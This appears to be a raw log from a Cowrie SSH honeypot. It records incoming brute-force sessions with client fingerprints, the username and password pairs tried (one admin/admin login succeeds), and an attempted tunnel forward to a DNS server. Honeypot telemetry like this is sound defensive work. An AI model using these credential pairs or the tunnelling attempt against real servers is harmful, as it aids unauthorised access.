{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:18.249449Z","src_ip":"124.155.125.131","session":"7e2aa162d6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mmj","message":"login attempt [root/mmj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:18.980616Z","src_ip":"124.155.125.131","session":"7e2aa162d6d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":59590,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac22691955e4","protocol":"ssh","message":"New connection: 165.154.6.49:59590 (159.203.135.109:22) [session: ac22691955e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:19.509791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:19.514165Z","src_ip":"165.154.6.49","session":"ac22691955e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:19.729242Z","src_ip":"165.154.6.49","session":"ac22691955e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:20.157987Z","src_ip":"124.155.125.131","session":"7e2aa162d6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578","message":"login attempt [root/124578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:20.623749Z","src_ip":"165.154.6.49","session":"ac22691955e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:21.845429Z","src_ip":"165.154.6.49","session":"ac22691955e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:24.198097Z","src_ip":"8.218.166.49","session":"916874f20ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:30.980527Z","src_ip":"8.218.166.49","session":"916874f20ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":47882,"dst_ip":"159.203.135.109","dst_port":22,"session":"da69534d58ba","protocol":"ssh","message":"New connection: 190.167.237.191:47882 (159.203.135.109:22) [session: da69534d58ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:31.013249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:31.018237Z","src_ip":"190.167.237.191","session":"da69534d58ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:31.076447Z","src_ip":"190.167.237.191","session":"da69534d58ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pic","message":"login attempt [root/pic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:31.333104Z","src_ip":"190.167.237.191","session":"da69534d58ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:32.392979Z","src_ip":"190.167.237.191","session":"da69534d58ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":33734,"dst_ip":"159.203.135.109","dst_port":22,"session":"2710bd1fc880","protocol":"ssh","message":"New connection: 221.161.235.168:33734 (159.203.135.109:22) [session: 2710bd1fc880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:34.238755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:34.245034Z","src_ip":"221.161.235.168","session":"2710bd1fc880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":52872,"dst_ip":"159.203.135.109","dst_port":22,"session":"e667b70b3265","protocol":"ssh","message":"New connection: 139.59.208.49:52872 (159.203.135.109:22) [session: e667b70b3265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:34.273403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:34.277403Z","src_ip":"139.59.208.49","session":"e667b70b3265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:34.363400Z","src_ip":"139.59.208.49","session":"e667b70b3265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:34.436871Z","src_ip":"221.161.235.168","session":"2710bd1fc880","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:34.740095Z","src_ip":"139.59.208.49","session":"e667b70b3265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ddd!@#$%^&","message":"login attempt [root/ddd!@#$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:35.244623Z","src_ip":"221.161.235.168","session":"2710bd1fc880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:35.829189Z","src_ip":"139.59.208.49","session":"e667b70b3265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:36.438822Z","src_ip":"221.161.235.168","session":"2710bd1fc880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"55.9","message":"Connection lost after 55.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:41.953447Z","src_ip":"8.218.166.49","session":"916874f20ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30678,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec3d159980a4","protocol":"ssh","message":"New connection: 87.251.64.176:30678 (10.17.0.5:22) [session: ec3d159980a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:44.919164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:44.924632Z","src_ip":"87.251.64.176","session":"ec3d159980a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:45.021993Z","src_ip":"87.251.64.176","session":"ec3d159980a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:45.312840Z","src_ip":"87.251.64.176","session":"ec3d159980a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:45.412209Z","session":"ec3d159980a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:45.510967Z","src_ip":"87.251.64.176","session":"ec3d159980a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:45.609388Z","src_ip":"87.251.64.176","session":"ec3d159980a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.50949764251709,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:55:48.700713Z","src_ip":"142.93.69.27","session":"c2050f98eb75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":59788,"dst_ip":"159.203.135.109","dst_port":22,"session":"fefd6ac86c1d","protocol":"ssh","message":"New connection: 189.113.47.155:59788 (159.203.135.109:22) [session: fefd6ac86c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:04.784253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:04.789275Z","src_ip":"189.113.47.155","session":"fefd6ac86c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:04.907528Z","src_ip":"189.113.47.155","session":"fefd6ac86c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:05.398002Z","src_ip":"189.113.47.155","session":"fefd6ac86c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:06.514933Z","src_ip":"189.113.47.155","session":"fefd6ac86c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:10.587549Z","src_ip":"8.218.166.49","session":"e138cc3ddfb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":45404,"dst_ip":"159.203.135.109","dst_port":22,"session":"9811b92b43f9","protocol":"ssh","message":"New connection: 221.161.235.168:45404 (159.203.135.109:22) [session: 9811b92b43f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:14.013004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:56:14.018699Z","src_ip":"221.161.235.168","session":"9811b92b43f9","protocol":"ssh"}
